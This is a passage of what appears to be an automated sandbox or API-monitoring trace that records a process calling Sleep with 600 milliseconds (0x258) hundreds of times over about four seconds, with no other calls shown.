Sleep (dwMilliseconds=0x258) [0164.815] Sleep (dwMilliseconds=0x258) [0164.816] Sleep (dwMilliseconds=0x258) [0164.818] Sleep (dwMilliseconds=0x258) [0164.819] Sleep (dwMilliseconds=0x258) [0164.821] Sleep (dwMilliseconds=0x258) [0164.825] Sleep (dwMilliseconds=0x258) [0164.826] Sleep (dwMilliseconds=0x258) [0164.828] Sleep (dwMilliseconds=0x258) [0164.829] Sleep (dwMilliseconds=0x258) [0164.831] Sleep (dwMilliseconds=0x258) [0164.832] Sleep (dwMilliseconds=0x258) [0164.834] Sleep (dwMilliseconds=0x258) [0164.835] Sleep (dwMilliseconds=0x258) [0164.837] Sleep (dwMilliseconds=0x258) [0164.838] Sleep (dwMilliseconds=0x258) [0164.840] Sleep (dwMilliseconds=0x258) [0164.841] Sleep (dwMilliseconds=0x258) [0164.843] Sleep (dwMilliseconds=0x258) [0164.844] Sleep (dwMilliseconds=0x258) [0164.846] Sleep (dwMilliseconds=0x258) [0164.847] Sleep (dwMilliseconds=0x258) [0164.849] Sleep (dwMilliseconds=0x258) [0164.850] Sleep (dwMilliseconds=0x258) [0164.852] Sleep (dwMilliseconds=0x258) [0164.855] Sleep (dwMilliseconds=0x258) [0164.857] Sleep (dwMilliseconds=0x258) [0164.858] Sleep (dwMilliseconds=0x258) [0164.860] Sleep (dwMilliseconds=0x258) [0164.861] Sleep (dwMilliseconds=0x258) [0164.863] Sleep (dwMilliseconds=0x258) [0164.864] Sleep (dwMilliseconds=0x258) [0164.866] Sleep (dwMilliseconds=0x258) [0164.867] Sleep (dwMilliseconds=0x258) [0164.869] Sleep (dwMilliseconds=0x258) [0164.870] Sleep (dwMilliseconds=0x258) [0164.872] Sleep (dwMilliseconds=0x258) [0164.873] Sleep (dwMilliseconds=0x258) [0164.875] Sleep (dwMilliseconds=0x258) [0164.876] Sleep (dwMilliseconds=0x258) [0164.878] Sleep (dwMilliseconds=0x258) [0164.880] Sleep (dwMilliseconds=0x258) [0164.881] Sleep (dwMilliseconds=0x258) [0164.882] Sleep (dwMilliseconds=0x258) [0164.884] Sleep (dwMilliseconds=0x258) [0164.895] Sleep (dwMilliseconds=0x258) [0164.896] Sleep (dwMilliseconds=0x258) [0164.898] Sleep (dwMilliseconds=0x258) [0164.900] Sleep (dwMilliseconds=0x258) [0164.901] Sleep (dwMilliseconds=0x258) [0164.903] Sleep (dwMilliseconds=0x258) [0164.904] Sleep (dwMilliseconds=0x258) [0164.906] Sleep (dwMilliseconds=0x258) [0164.907] Sleep (dwMilliseconds=0x258) [0164.909] Sleep (dwMilliseconds=0x258) [0164.910] Sleep (dwMilliseconds=0x258) [0164.912] Sleep (dwMilliseconds=0x258) [0164.913] Sleep (dwMilliseconds=0x258) [0164.915] Sleep (dwMilliseconds=0x258) [0164.916] Sleep (dwMilliseconds=0x258) [0164.918] Sleep (dwMilliseconds=0x258) [0164.921] Sleep (dwMilliseconds=0x258) [0164.931] Sleep (dwMilliseconds=0x258) [0164.933] Sleep (dwMilliseconds=0x258) [0164.934] Sleep (dwMilliseconds=0x258) [0164.936] Sleep (dwMilliseconds=0x258) [0164.937] Sleep (dwMilliseconds=0x258) [0164.939] Sleep (dwMilliseconds=0x258) [0164.940] Sleep (dwMilliseconds=0x258) [0164.943] Sleep (dwMilliseconds=0x258) [0164.944] Sleep (dwMilliseconds=0x258) [0164.947] Sleep (dwMilliseconds=0x258) [0164.950] Sleep (dwMilliseconds=0x258) [0165.032] Sleep (dwMilliseconds=0x258) [0165.092] Sleep (dwMilliseconds=0x258) [0165.190] Sleep (dwMilliseconds=0x258) [0165.241] Sleep (dwMilliseconds=0x258) [0165.281] Sleep (dwMilliseconds=0x258) [0165.283] Sleep (dwMilliseconds=0x258) [0165.286] Sleep (dwMilliseconds=0x258) [0165.287] Sleep (dwMilliseconds=0x258) [0165.289] Sleep (dwMilliseconds=0x258) [0165.291] Sleep (dwMilliseconds=0x258) [0165.292] Sleep (dwMilliseconds=0x258) [0165.294] Sleep (dwMilliseconds=0x258) [0165.295] Sleep (dwMilliseconds=0x258) [0165.297] Sleep (dwMilliseconds=0x258) [0165.299] Sleep (dwMilliseconds=0x258) [0165.300] Sleep (dwMilliseconds=0x258) [0165.302] Sleep (dwMilliseconds=0x258) [0165.306] Sleep (dwMilliseconds=0x258) [0165.308] Sleep (dwMilliseconds=0x258) [0165.309] Sleep (dwMilliseconds=0x258) [0165.311] Sleep (dwMilliseconds=0x258) [0165.313] Sleep (dwMilliseconds=0x258) [0165.314] Sleep (dwMilliseconds=0x258) [0165.316] Sleep (dwMilliseconds=0x258) [0165.317] Sleep (dwMilliseconds=0x258) [0165.319] Sleep (dwMilliseconds=0x258) [0165.320] Sleep (dwMilliseconds=0x258) [0165.322] Sleep (dwMilliseconds=0x258) [0165.324] Sleep (dwMilliseconds=0x258) [0165.325] Sleep (dwMilliseconds=0x258) [0165.327] Sleep (dwMilliseconds=0x258) [0165.329] Sleep (dwMilliseconds=0x258) [0165.330] Sleep (dwMilliseconds=0x258) [0165.337] Sleep (dwMilliseconds=0x258) [0165.338] Sleep (dwMilliseconds=0x258) [0165.340] Sleep (dwMilliseconds=0x258) [0165.341] Sleep (dwMilliseconds=0x258) [0165.400] Sleep (dwMilliseconds=0x258) [0165.402] Sleep (dwMilliseconds=0x258) [0165.404] Sleep (dwMilliseconds=0x258) [0165.406] Sleep (dwMilliseconds=0x258) [0165.408] Sleep (dwMilliseconds=0x258) [0165.410] Sleep (dwMilliseconds=0x258) [0165.411] Sleep (dwMilliseconds=0x258) [0165.413] Sleep (dwMilliseconds=0x258) [0165.415] Sleep (dwMilliseconds=0x258) [0165.417] Sleep (dwMilliseconds=0x258) [0165.419] Sleep (dwMilliseconds=0x258) [0165.420] Sleep (dwMilliseconds=0x258) [0165.424] Sleep (dwMilliseconds=0x258) [0165.425] Sleep (dwMilliseconds=0x258) [0165.428] Sleep (dwMilliseconds=0x258) [0165.429] Sleep (dwMilliseconds=0x258) [0165.465] Sleep (dwMilliseconds=0x258) [0165.466] Sleep (dwMilliseconds=0x258) [0165.468] Sleep (dwMilliseconds=0x258) [0165.471] Sleep (dwMilliseconds=0x258) [0165.474] Sleep (dwMilliseconds=0x258) [0165.475] Sleep (dwMilliseconds=0x258) [0165.477] Sleep (dwMilliseconds=0x258) [0165.479] Sleep (dwMilliseconds=0x258) [0165.481] Sleep (dwMilliseconds=0x258) [0165.484] Sleep (dwMilliseconds=0x258) [0165.485] Sleep (dwMilliseconds=0x258) [0165.487] Sleep (dwMilliseconds=0x258) [0165.489] Sleep (dwMilliseconds=0x258) [0165.491] Sleep (dwMilliseconds=0x258) [0165.492] Sleep (dwMilliseconds=0x258) [0165.493] Sleep (dwMilliseconds=0x258) [0165.495] Sleep (dwMilliseconds=0x258) [0165.496] Sleep (dwMilliseconds=0x258) [0165.498] Sleep (dwMilliseconds=0x258) [0165.500] Sleep (dwMilliseconds=0x258) [0165.501] Sleep (dwMilliseconds=0x258) [0165.503] Sleep (dwMilliseconds=0x258) [0165.505] Sleep (dwMilliseconds=0x258) [0165.583] Sleep (dwMilliseconds=0x258) [0165.649] Sleep (dwMilliseconds=0x258) [0165.684] Sleep (dwMilliseconds=0x258) [0165.707] Sleep (dwMilliseconds=0x258) [0165.709] Sleep (dwMilliseconds=0x258) [0165.710] Sleep (dwMilliseconds=0x258) [0165.712] Sleep (dwMilliseconds=0x258) [0165.742] Sleep (dwMilliseconds=0x258) [0165.743] Sleep (dwMilliseconds=0x258) [0165.747] Sleep (dwMilliseconds=0x258) [0165.749] Sleep (dwMilliseconds=0x258) [0165.750] Sleep (dwMilliseconds=0x258) [0165.752] Sleep (dwMilliseconds=0x258) [0165.753] Sleep (dwMilliseconds=0x258) [0165.755] Sleep (dwMilliseconds=0x258) [0165.757] Sleep (dwMilliseconds=0x258) [0165.758] Sleep (dwMilliseconds=0x258) [0165.760] Sleep (dwMilliseconds=0x258) [0165.761] Sleep (dwMilliseconds=0x258) [0165.763] Sleep (dwMilliseconds=0x258) [0165.778] Sleep (dwMilliseconds=0x258) [0165.782] Sleep (dwMilliseconds=0x258) [0165.784] Sleep (dwMilliseconds=0x258) [0165.786] Sleep (dwMilliseconds=0x258) [0165.787] Sleep (dwMilliseconds=0x258) [0165.789] Sleep (dwMilliseconds=0x258) [0165.790] Sleep (dwMilliseconds=0x258) [0165.792] Sleep (dwMilliseconds=0x258) [0165.793] Sleep (dwMilliseconds=0x258) [0165.795] Sleep (dwMilliseconds=0x258) [0165.797] Sleep (dwMilliseconds=0x258) [0165.799] Sleep (dwMilliseconds=0x258) [0165.800] Sleep (dwMilliseconds=0x258) [0165.802] Sleep (dwMilliseconds=0x258) [0165.806] Sleep (dwMilliseconds=0x258) [0165.807] Sleep (dwMilliseconds=0x258) [0165.904] Sleep (dwMilliseconds=0x258) [0165.905] Sleep (dwMilliseconds=0x258) [0165.906] Sleep (dwMilliseconds=0x258) [0165.908] Sleep (dwMilliseconds=0x258) [0165.909] Sleep (dwMilliseconds=0x258) [0165.911] Sleep (dwMilliseconds=0x258) [0165.913] Sleep (dwMilliseconds=0x258) [0165.914] Sleep (dwMilliseconds=0x258) [0165.916] Sleep (dwMilliseconds=0x258) [0165.917] Sleep (dwMilliseconds=0x258) [0165.919] Sleep (dwMilliseconds=0x258) [0165.920] Sleep (dwMilliseconds=0x258) [0165.922] Sleep (dwMilliseconds=0x258) [0165.923] Sleep (dwMilliseconds=0x258) [0165.925] Sleep (dwMilliseconds=0x258) [0165.926] Sleep (dwMilliseconds=0x258) [0165.928] Sleep (dwMilliseconds=0x258) [0165.929] Sleep (dwMilliseconds=0x258) [0165.931] Sleep (dwMilliseconds=0x258) [0165.932] Sleep (dwMilliseconds=0x258) [0165.935] Sleep (dwMilliseconds=0x258) [0165.937] Sleep (dwMilliseconds=0x258) [0165.939] Sleep (dwMilliseconds=0x258) [0165.940] Sleep (dwMilliseconds=0x258) [0165.942] Sleep (dwMilliseconds=0x258) [0165.943] Sleep (dwMilliseconds=0x258) [0165.945] Sleep (dwMilliseconds=0x258) [0165.946] Sleep (dwMilliseconds=0x258) [0165.948] Sleep (dwMilliseconds=0x258) [0165.949] Sleep (dwMilliseconds=0x258) [0165.951] Sleep (dwMilliseconds=0x258) [0165.952] Sleep (dwMilliseconds=0x258) [0165.954] Sleep (dwMilliseconds=0x258) [0165.957] Sleep (dwMilliseconds=0x258) [0165.959] Sleep (dwMilliseconds=0x258) [0165.961] Sleep (dwMilliseconds=0x258) [0165.963] Sleep (dwMilliseconds=0x258) [0165.964] Sleep (dwMilliseconds=0x258) [0165.966] Sleep (dwMilliseconds=0x258) [0165.969] Sleep (dwMilliseconds=0x258) [0165.971] Sleep (dwMilliseconds=0x258) [0165.973] Sleep (dwMilliseconds=0x258) [0165.975] Sleep (dwMilliseconds=0x258) [0165.977] Sleep (dwMilliseconds=0x258) [0165.979] Sleep (dwMilliseconds=0x258) [0165.980] Sleep (dwMilliseconds=0x258) [0165.982] Sleep (dwMilliseconds=0x258) [0165.984] Sleep (dwMilliseconds=0x258) [0165.985] Sleep (dwMilliseconds=0x258) [0165.987] Sleep (dwMilliseconds=0x258) [0165.990] Sleep (dwMilliseconds=0x258) [0165.992] Sleep (dwMilliseconds=0x258) [0165.994] Sleep (dwMilliseconds=0x258) [0165.996] Sleep (dwMilliseconds=0x258) [0165.997] Sleep (dwMilliseconds=0x258) [0166.000] Sleep (dwMilliseconds=0x258) [0166.002] Sleep (dwMilliseconds=0x258) [0166.006] Sleep (dwMilliseconds=0x258) [0166.007] Sleep (dwMilliseconds=0x258) [0166.009] Sleep (dwMilliseconds=0x258) [0166.010] Sleep (dwMilliseconds=0x258) [0166.012] Sleep (dwMilliseconds=0x258) [0166.014] Sleep (dwMilliseconds=0x258) [0166.016] Sleep (dwMilliseconds=0x258) [0166.017] Sleep (dwMilliseconds=0x258) [0166.019] Sleep (dwMilliseconds=0x258) [0166.021] Sleep (dwMilliseconds=0x258) [0166.101] Sleep (dwMilliseconds=0x258) [0166.216] Sleep (dwMilliseconds=0x258) [0166.299] Sleep (dwMilliseconds=0x258) [0166.300] Sleep (dwMilliseconds=0x258) [0166.302] Sleep (dwMilliseconds=0x258) [0166.303] Sleep (dwMilliseconds=0x258) [0166.305] Sleep (dwMilliseconds=0x258) [0166.306] Sleep (dwMilliseconds=0x258) [0166.308] Sleep (dwMilliseconds=0x258) [0166.319] Sleep (dwMilliseconds=0x258) [0166.331] Sleep (dwMilliseconds=0x258) [0166.341] Sleep (dwMilliseconds=0x258) [0166.343] Sleep (dwMilliseconds=0x258) [0166.344] Sleep (dwMilliseconds=0x258) [0166.353] Sleep (dwMilliseconds=0x258) [0166.355] Sleep (dwMilliseconds=0x258) [0166.357] Sleep (dwMilliseconds=0x258) [0166.358] Sleep (dwMilliseconds=0x258) [0166.360] Sleep (dwMilliseconds=0x258) [0166.361] Sleep (dwMilliseconds=0x258) [0166.364] Sleep (dwMilliseconds=0x258) [0166.366] Sleep (dwMilliseconds=0x258) [0166.367] Sleep (dwMilliseconds=0x258) [0166.369] Sleep (dwMilliseconds=0x258) [0166.370] Sleep (dwMilliseconds=0x258) [0166.372] Sleep (dwMilliseconds=0x258) [0166.374] Sleep (dwMilliseconds=0x258) [0166.459] Sleep (dwMilliseconds=0x258) [0166.460] Sleep (dwMilliseconds=0x258) [0166.462] Sleep (dwMilliseconds=0x258) [0166.464] Sleep (dwMilliseconds=0x258) [0166.466] Sleep (dwMilliseconds=0x258) [0166.467] Sleep (dwMilliseconds=0x258) [0166.469] Sleep (dwMilliseconds=0x258) [0166.470] Sleep (dwMilliseconds=0x258) [0166.472] Sleep (dwMilliseconds=0x258) [0166.474] Sleep (dwMilliseconds=0x258) [0166.476] Sleep (dwMilliseconds=0x258) [0166.478] Sleep (dwMilliseconds=0x258) [0166.479] Sleep (dwMilliseconds=0x258) [0166.481] Sleep (dwMilliseconds=0x258) [0166.483] Sleep (dwMilliseconds=0x258) [0166.484] Sleep (dwMilliseconds=0x258) [0166.486] Sleep (dwMilliseconds=0x258) [0166.487] Sleep (dwMilliseconds=0x258) [0166.489] Sleep (dwMilliseconds=0x258) [0166.491] Sleep (dwMilliseconds=0x258) [0166.492] Sleep (dwMilliseconds=0x258) [0166.494] Sleep (dwMilliseconds=0x258) [0166.495] Sleep (dwMilliseconds=0x258) [0166.498] Sleep (dwMilliseconds=0x258) [0166.500] Sleep (dwMilliseconds=0x258) [0166.501] Sleep (dwMilliseconds=0x258) [0166.503] Sleep (dwMilliseconds=0x258) [0166.505] Sleep (dwMilliseconds=0x258) [0166.506] Sleep (dwMilliseconds=0x258) [0166.508] Sleep (dwMilliseconds=0x258) [0166.509] Sleep (dwMilliseconds=0x258) [0166.512] Sleep (dwMilliseconds=0x258) [0166.558] Sleep (dwMilliseconds=0x258) [0166.577] Sleep (dwMilliseconds=0x258) [0166.579] Sleep (dwMilliseconds=0x258) [0166.580] Sleep (dwMilliseconds=0x258) [0166.583] Sleep (dwMilliseconds=0x258) [0166.585] Sleep (dwMilliseconds=0x258) [0166.587] Sleep (dwMilliseconds=0x258) [0166.589] Sleep (dwMilliseconds=0x258) [0166.590] Sleep (dwMilliseconds=0x258) [0166.592] Sleep (dwMilliseconds=0x258) [0166.593] Sleep (dwMilliseconds=0x258) [0166.595] Sleep (dwMilliseconds=0x258) [0166.596] Sleep (dwMilliseconds=0x258) [0166.598] Sleep (dwMilliseconds=0x258) [0166.599] Sleep (dwMilliseconds=0x258) [0166.601] Sleep (dwMilliseconds=0x258) [0166.602] Sleep (dwMilliseconds=0x258) [0166.604] Sleep (dwMilliseconds=0x258) [0166.606] Sleep (dwMilliseconds=0x258) [0166.607] Sleep (dwMilliseconds=0x258) [0166.674] Sleep (dwMilliseconds=0x258) [0166.677] Sleep (dwMilliseconds=0x258) [0166.680] Sleep (dwMilliseconds=0x258) [0166.682] Sleep (dwMilliseconds=0x258) [0166.683] Sleep (dwMilliseconds=0x258) [0166.734] Sleep (dwMilliseconds=0x258) [0166.735] Sleep (dwMilliseconds=0x258) [0166.737] Sleep (dwMilliseconds=0x258) [0166.738] Sleep (dwMilliseconds=0x258) [0166.741] Sleep (dwMilliseconds=0x258) [0166.742] Sleep (dwMilliseconds=0x258) [0166.745] Sleep (dwMilliseconds=0x258) [0166.746] Sleep (dwMilliseconds=0x258) [0166.748] Sleep (dwMilliseconds=0x258) [0166.760] Sleep (dwMilliseconds=0x258) [0166.762] Sleep (dwMilliseconds=0x258) [0166.766] Sleep (dwMilliseconds=0x258) [0166.768] Sleep (dwMilliseconds=0x258) [0166.771] Sleep (dwMilliseconds=0x258) [0166.773] Sleep (dwMilliseconds=0x258) [0166.775] Sleep (dwMilliseconds=0x258) [0166.924] Sleep (dwMilliseconds=0x258) [0166.926] Sleep (dwMilliseconds=0x258) [0166.927] Sleep (dwMilliseconds=0x258) [0166.930] Sleep (dwMilliseconds=0x258) [0166.931] Sleep (dwMilliseconds=0x258) [0166.933] Sleep (dwMilliseconds=0x258) [0166.935] Sleep (dwMilliseconds=0x258) [0166.936] Sleep (dwMilliseconds=0x258) [0166.939] Sleep (dwMilliseconds=0x258) [0166.942] Sleep (dwMilliseconds=0x258) [0166.943] Sleep (dwMilliseconds=0x258) [0166.945] Sleep (dwMilliseconds=0x258) [0166.946] Sleep (dwMilliseconds=0x258) [0166.948] Sleep (dwMilliseconds=0x258) [0166.949] Sleep (dwMilliseconds=0x258) [0166.952] Sleep (dwMilliseconds=0x258) [0166.954] Sleep (dwMilliseconds=0x258) [0167.032] Sleep (dwMilliseconds=0x258) [0167.033] Sleep (dwMilliseconds=0x258) [0167.035] Sleep (dwMilliseconds=0x258) [0167.037] Sleep (dwMilliseconds=0x258) [0167.038] Sleep (dwMilliseconds=0x258) [0167.041] Sleep (dwMilliseconds=0x258) [0167.049] Sleep (dwMilliseconds=0x258) [0167.051] Sleep (dwMilliseconds=0x258) [0167.052] Sleep (dwMilliseconds=0x258) [0167.054] Sleep (dwMilliseconds=0x258) [0167.055] Sleep (dwMilliseconds=0x258) [0167.058] Sleep (dwMilliseconds=0x258) [0167.059] Sleep (dwMilliseconds=0x258) [0167.061] Sleep (dwMilliseconds=0x258) [0167.063] Sleep (dwMilliseconds=0x258) [0167.064] Sleep (dwMilliseconds=0x258) [0167.068] Sleep (dwMilliseconds=0x258) [0167.070] Sleep (dwMilliseconds=0x258) [0167.072] Sleep (dwMilliseconds=0x258) [0167.074] Sleep (dwMilliseconds=0x258) [0167.075] Sleep (dwMilliseconds=0x258) [0167.078] Sleep (dwMilliseconds=0x258) [0167.079] Sleep (dwMilliseconds=0x258) [0167.081] Sleep (dwMilliseconds=0x258) [0167.082] Sleep (dwMilliseconds=0x258) [0167.084] Sleep (dwMilliseconds=0x258) [0167.086] Sleep (dwMilliseconds=0x258) [0167.219] Sleep (dwMilliseconds=0x258) [0167.272] Sleep (dwMilliseconds=0x258) [0167.342] Sleep (dwMilliseconds=0x258) [0167.407] Sleep (dwMilliseconds=0x258) [0167.408] Sleep (dwMilliseconds=0x258) [0167.409] Sleep (dwMilliseconds=0x258) [0167.412] Sleep (dwMilliseconds=0x258) [0167.413] Sleep (dwMilliseconds=0x258) [0167.415] Sleep (dwMilliseconds=0x258) [0167.418] Sleep (dwMilliseconds=0x258) [0167.420] Sleep (dwMilliseconds=0x258) [0167.421] Sleep (dwMilliseconds=0x258) [0167.424] Sleep (dwMilliseconds=0x258) [0167.425] Sleep (dwMilliseconds=0x258) [0167.427] Sleep (dwMilliseconds=0x258) [0167.429] Sleep (dwMilliseconds=0x258) [0167.431] Sleep (dwMilliseconds=0x258) [0167.433] Sleep (dwMilliseconds=0x258) [0167.434] Sleep (dwMilliseconds=0x258) [0167.435] Sleep (dwMilliseconds=0x258) [0167.437] Sleep (dwMilliseconds=0x258) [0167.439] Sleep (dwMilliseconds=0x258) [0167.441] Sleep (dwMilliseconds=0x258) [0167.442] Sleep (dwMilliseconds=0x258) [0167.510] Sleep (dwMilliseconds=0x258) [0167.512] Sleep (dwMilliseconds=0x258) [0167.514] Sleep (dwMilliseconds=0x258) [0167.515] Sleep (dwMilliseconds=0x258) [0167.517] Sleep (dwMilliseconds=0x258) [0167.518] Sleep (dwMilliseconds=0x258) [0167.519] Sleep (dwMilliseconds=0x258) [0167.521] Sleep (dwMilliseconds=0x258) [0167.523] Sleep (dwMilliseconds=0x258) [0167.524] Sleep (dwMilliseconds=0x258) [0167.527] Sleep (dwMilliseconds=0x258) [0167.529] Sleep (dwMilliseconds=0x258) [0167.530] Sleep (dwMilliseconds=0x258) [0167.532] Sleep (dwMilliseconds=0x258) [0167.533] Sleep (dwMilliseconds=0x258) [0167.536] Sleep (dwMilliseconds=0x258) [0167.537] Sleep (dwMilliseconds=0x258) [0167.539] Sleep (dwMilliseconds=0x258) [0167.545] Sleep (dwMilliseconds=0x258) [0167.547] Sleep (dwMilliseconds=0x258) [0167.548] Sleep (dwMilliseconds=0x258) [0167.550] Sleep (dwMilliseconds=0x258) [0167.552] Sleep (dwMilliseconds=0x258) [0167.554] Sleep (dwMilliseconds=0x258) [0167.556] Sleep (dwMilliseconds=0x258) [0167.558] Sleep (dwMilliseconds=0x258) [0167.559] Sleep (dwMilliseconds=0x258) [0167.561] Sleep (dwMilliseconds=0x258) [0167.562] Sleep (dwMilliseconds=0x258) [0167.564] Sleep (dwMilliseconds=0x258) [0167.565] Sleep (dwMilliseconds=0x258) [0167.568] Sleep (dwMilliseconds=0x258) [0167.570] Sleep (dwMilliseconds=0x258) [0167.572] Sleep (dwMilliseconds=0x258) [0167.574] Sleep (dwMilliseconds=0x258) [0167.575] Sleep (dwMilliseconds=0x258) [0167.577] Sleep (dwMilliseconds=0x258) [0167.578] Sleep (dwMilliseconds=0x258) [0167.580] Sleep (dwMilliseconds=0x258) [0167.582] Sleep (dwMilliseconds=0x258) [0167.585] Sleep (dwMilliseconds=0x258) [0167.586] Sleep (dwMilliseconds=0x258) [0167.588] Sleep (dwMilliseconds=0x258) [0167.589] Sleep (dwMilliseconds=0x258) [0167.591] Sleep (dwMilliseconds=0x258) [0167.593] Sleep (dwMilliseconds=0x258) [0167.595] Sleep (dwMilliseconds=0x258) [0167.602] Sleep (dwMilliseconds=0x258) [0167.604] Sleep (dwMilliseconds=0x258) [0167.607] Sleep (dwMilliseconds=0x258) [0167.608] Sleep (dwMilliseconds=0x258) [0167.610] Sleep (dwMilliseconds=0x258) [0167.611] Sleep (dwMilliseconds=0x258) [0167.613] Sleep (dwMilliseconds=0x258) [0167.614] Sleep (dwMilliseconds=0x258) [0167.616] Sleep (dwMilliseconds=0x258) [0167.618] Sleep (dwMilliseconds=0x258) [0167.620] Sleep (dwMilliseconds=0x258) [0167.621] Sleep (dwMilliseconds=0x258) [0167.623] Sleep (dwMilliseconds=0x258) [0167.624] Sleep (dwMilliseconds=0x258) [0167.625] Sleep (dwMilliseconds=0x258) [0167.627] Sleep (dwMilliseconds=0x258) [0167.741] Sleep (dwMilliseconds=0x258) [0167.824] Sleep (dwMilliseconds=0x258) [0167.856] Sleep (dwMilliseconds=0x258) [0167.857] Sleep (dwMilliseconds=0x258) [0167.859] Sleep (dwMilliseconds=0x258) [0167.862] Sleep (dwMilliseconds=0x258) [0167.863] Sleep (dwMilliseconds=0x258) [0167.865] Sleep (dwMilliseconds=0x258) [0167.866] Sleep (dwMilliseconds=0x258) [0167.869] Sleep (dwMilliseconds=0x258) [0167.872] Sleep (dwMilliseconds=0x258) [0167.876] Sleep (dwMilliseconds=0x258) [0167.878] Sleep (dwMilliseconds=0x258) [0167.881] Sleep (dwMilliseconds=0x258) [0167.885] Sleep (dwMilliseconds=0x258) [0167.887] Sleep (dwMilliseconds=0x258) [0167.898] Sleep (dwMilliseconds=0x258) [0167.899] Sleep (dwMilliseconds=0x258) [0167.901] Sleep (dwMilliseconds=0x258) [0167.903] Sleep (dwMilliseconds=0x258) [0167.906] Sleep (dwMilliseconds=0x258) [0167.908] Sleep (dwMilliseconds=0x258) [0167.910] Sleep (dwMilliseconds=0x258) [0167.912] Sleep (dwMilliseconds=0x258) [0167.918] Sleep (dwMilliseconds=0x258) [0167.920] Sleep (dwMilliseconds=0x258) [0167.922] Sleep (dwMilliseconds=0x258) [0167.923] Sleep (dwMilliseconds=0x258) [0167.927] Sleep (dwMilliseconds=0x258) [0167.929] Sleep (dwMilliseconds=0x258) [0167.931] Sleep (dwMilliseconds=0x258) [0167.933] Sleep (dwMilliseconds=0x258) [0167.934] Sleep (dwMilliseconds=0x258) [0167.936] Sleep (dwMilliseconds=0x258) [0167.938] Sleep (dwMilliseconds=0x258) [0167.940] Sleep (dwMilliseconds=0x258) [0167.942] Sleep (dwMilliseconds=0x258) [0167.944] Sleep (dwMilliseconds=0x258) [0167.946] Sleep (dwMilliseconds=0x258) [0167.948] Sleep (dwMilliseconds=0x258) [0167.949] Sleep (dwMilliseconds=0x258) [0167.951] Sleep (dwMilliseconds=0x258) [0167.952] Sleep (dwMilliseconds=0x258) [0167.954] Sleep (dwMilliseconds=0x258) [0167.956] Sleep (dwMilliseconds=0x258) [0168.178] Sleep (dwMilliseconds=0x258) [0168.180] Sleep (dwMilliseconds=0x258) [0168.181] Sleep (dwMilliseconds=0x258) [0168.183] Sleep (dwMilliseconds=0x258) [0168.184] Sleep (dwMilliseconds=0x258) [0168.186] Sleep (dwMilliseconds=0x258) [0168.190] Sleep (dwMilliseconds=0x258) [0168.191] Sleep (dwMilliseconds=0x258) [0168.193] Sleep (dwMilliseconds=0x258) [0168.195] Sleep (dwMilliseconds=0x258) [0168.196] Sleep (dwMilliseconds=0x258) [0168.198] Sleep (dwMilliseconds=0x258) [0168.202] Sleep (dwMilliseconds=0x258) [0168.203] Sleep (dwMilliseconds=0x258) [0168.207] Sleep (dwMilliseconds=0x258) [0168.220] Sleep (dwMilliseconds=0x258) [0168.222] Sleep (dwMilliseconds=0x258) [0168.338] Sleep (dwMilliseconds=0x258) [0168.345] Sleep (dwMilliseconds=0x258) [0168.346] Sleep (dwMilliseconds=0x258) [0168.348] Sleep (dwMilliseconds=0x258) [0168.349] Sleep (dwMilliseconds=0x258) [0168.351] Sleep (dwMilliseconds=0x258) [0168.358] Sleep (dwMilliseconds=0x258) [0168.359] Sleep (dwMilliseconds=0x258) [0168.361] Sleep (dwMilliseconds=0x258) [0168.362] Sleep (dwMilliseconds=0x258) [0168.364] Sleep (dwMilliseconds=0x258) [0168.365] Sleep (dwMilliseconds=0x258) [0168.367] Sleep (dwMilliseconds=0x258) [0168.369] Sleep (dwMilliseconds=0x258) [0168.370] Sleep (dwMilliseconds=0x258) [0168.371] Sleep (dwMilliseconds=0x258) [0168.373] Sleep (dwMilliseconds=0x258) [0168.374] Sleep (dwMilliseconds=0x258) [0168.454] Sleep (dwMilliseconds=0x258) [0168.532] Sleep (dwMilliseconds=0x258) [0168.535] Sleep (dwMilliseconds=0x258) [0168.537] Sleep (dwMilliseconds=0x258) [0168.538] Sleep (dwMilliseconds=0x258) [0168.540] Sleep (dwMilliseconds=0x258) [0168.542] Sleep (dwMilliseconds=0x258) [0168.543] Sleep (dwMilliseconds=0x258) [0168.546] Sleep (dwMilliseconds=0x258) [0168.548] Sleep (dwMilliseconds=0x258) [0168.551] Sleep (dwMilliseconds=0x258) [0168.553] Sleep (dwMilliseconds=0x258) [0168.554] Sleep (dwMilliseconds=0x258) [0168.556] Sleep (dwMilliseconds=0x258) [0168.558] Sleep (dwMilliseconds=0x258) [0168.559] Sleep (dwMilliseconds=0x258) [0168.561] Sleep (dwMilliseconds=0x258) [0168.563] Sleep (dwMilliseconds=0x258) [0168.564] Sleep (dwMilliseconds=0x258) [0168.566] Sleep (dwMilliseconds=0x258) [0168.568] Sleep (dwMilliseconds=0x258) [0168.570] Sleep (dwMilliseconds=0x258) [0168.573] Sleep (dwMilliseconds=0x258) [0168.574] Sleep (dwMilliseconds=0x258) [0168.576] Sleep (dwMilliseconds=0x258) [0168.578] Sleep (dwMilliseconds=0x258) [0168.580] Sleep (dwMilliseconds=0x258) [0168.582] Sleep (dwMilliseconds=0x258) [0168.588] Sleep (dwMilliseconds=0x258) [0168.593] Sleep (dwMilliseconds=0x258) [0168.595] Sleep (dwMilliseconds=0x258) [0168.597] Sleep (dwMilliseconds=0x258) [0168.599] Sleep (dwMilliseconds=0x258) [0168.601] Sleep (dwMilliseconds=0x258) [0168.603] Sleep (dwMilliseconds=0x258) [0168.604] Sleep (dwMilliseconds=0x258) [0168.606] Sleep (dwMilliseconds=0x258) [0168.609] Sleep (dwMilliseconds=0x258) [0168.611] Sleep (dwMilliseconds=0x258) [0168.612] Sleep (dwMilliseconds=0x258) [0168.614] Sleep (dwMilliseconds=0x258) [0168.615] Sleep (dwMilliseconds=0x258) [0168.617] Sleep (dwMilliseconds=0x258) [0168.618] Sleep (dwMilliseconds=0x258) [0168.620] Sleep (dwMilliseconds=0x258) [0168.621] Sleep (dwMilliseconds=0x258) [0168.623] Sleep (dwMilliseconds=0x258) [0168.624] Sleep (dwMilliseconds=0x258) [0168.626] Sleep (dwMilliseconds=0x258) [0168.627] Sleep (dwMilliseconds=0x258) [0168.630] Sleep (dwMilliseconds=0x258) [0168.631] Sleep (dwMilliseconds=0x258) [0168.661] Sleep (dwMilliseconds=0x258) [0168.779] Sleep (dwMilliseconds=0x258) [0168.836] Sleep (dwMilliseconds=0x258) [0168.872] Sleep (dwMilliseconds=0x258) [0168.874] Sleep (dwMilliseconds=0x258) [0168.875] Sleep (dwMilliseconds=0x258) [0168.877] Sleep (dwMilliseconds=0x258) [0168.878] Sleep (dwMilliseconds=0x258) [0168.880] Sleep (dwMilliseconds=0x258) [0168.881] Sleep (dwMilliseconds=0x258) 